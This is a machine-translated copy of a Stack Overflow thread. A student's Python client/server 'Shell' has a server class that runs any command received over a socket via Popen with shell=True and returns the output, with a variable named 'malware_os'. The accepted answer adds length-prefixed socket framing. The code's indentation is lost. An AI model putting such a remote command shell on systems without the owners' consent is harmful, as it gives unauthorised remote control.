我正在尝试为我的 IT 类(class)构建一个程序。该程序的重点是让客户端应用程序向服务器发送命令。它似乎工作得很好,直到今天,经过几次通话,当我收到来自服务器的响应时,它不是最新的。
例如:我发送了一些一切正常的命令。但随后发送另一个命令并接收前一个命令的响应。
我检查了客户端发送的命令,它是我键入的命令,在服务器部分,当我从客户端收到命令时,它是客户端实际发送的命令(不是前一个)
这是我用来发送和接收消息的 Shell 类(在服务器和客户端中)以及我如何使用它的示例。
服务器 :
class Shell:
command = ""
next_command = True
def __init__(self, malware_os):
self._os = malware_os
self._response = ""
def receive(self):
self.command = distant_socket.recv(4096).decode("utf-8")
def execute_command(self):
if self.command[:2] == "cd":
os.chdir(self.command[3:])
if self._os == "Windows":
self.result = Popen("cd", shell=True, stdout=PIPE)
else:
self.result = Popen("pwd", shell=True, stdout=PIPE)
else:
self.result = Popen(self.command, shell=True, stdout=PIPE)
self._response = self.result.communicate()
def send(self):
self._response = self._response[0]
self._response = self._response.decode("utf-8", errors="ignore")
self._response = self._response + " "
self._response = self._response.encode("utf-8")
distant_socket.send(self._response)
self._response = None
在服务器中使用: shell.receive()
shell.execute_command()
shell.send()
客户 :class Shell:
def __init__(self):
self._history = []
self._command = ""
def send(self):
self._history.append(self._command)
s.send(self._command.encode("utf-8"))
def receive(self):
content = s.recv(4096).decode("utf-8", errors="ignore")
if content[2:] == "cd":
malware_os.chdir(self._command[3:].decode("utf-8", errors="ignore"))
print(content)
def history(self):
print("The history of your commands is:")
print("----------------------")
for element in self._history:
print(element)
def get_command(self):
return self._command
def set_command(self, command):
self._command = command
在客户端使用:shell.set_command(getinfo.get_users())
shell.send()
shell.receive()
预先感谢您的帮助,亲切地,
大脚野人
最佳答案
既然您说响应不是最新的,我猜您使用了 TCP(您没有发布套接字创建)。就像提到的评论一样,有两件事你做的不对:
import struct
def send_message(sock, message_str):
message_bytes = message_str.encode("utf-8")
size_prefix = struct.pack("!I", len(message_bytes)) # I means 4 bytes integer in big endian
sock.sendall(size_prefix)
sock.sendall(message_bytes)
def recv_message_str(sock):
#first, get the message size, assuming you used the send above
size_buffer = b""
while len(size_buffer) != 4:
recv_ret = sock.recv(4 - len(size_buffer))
if len(recv_ret) == 0:
# The other side disconnected, do something (raise an exception or something)
raise Exception("socket disconnected")
size_buffer += recv_ret
size = struct.unpack("!I", size_buffer)[0]
# Loop again, for the message string
message_buffer = b""
while len(message_buffer) != size:
recv_ret = sock.recv(size - len(message_buffer))
if len(recv_ret) == 0:
# The other side disconnected, do something (raise an exception or something)
raise Exception("socket disconnected")
message_buffer += recv_ret
return message_buffer.decode("utf-8", errors="ignore")
关于python-3.x - Python socket recv 没有给出好的结果,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/63217805/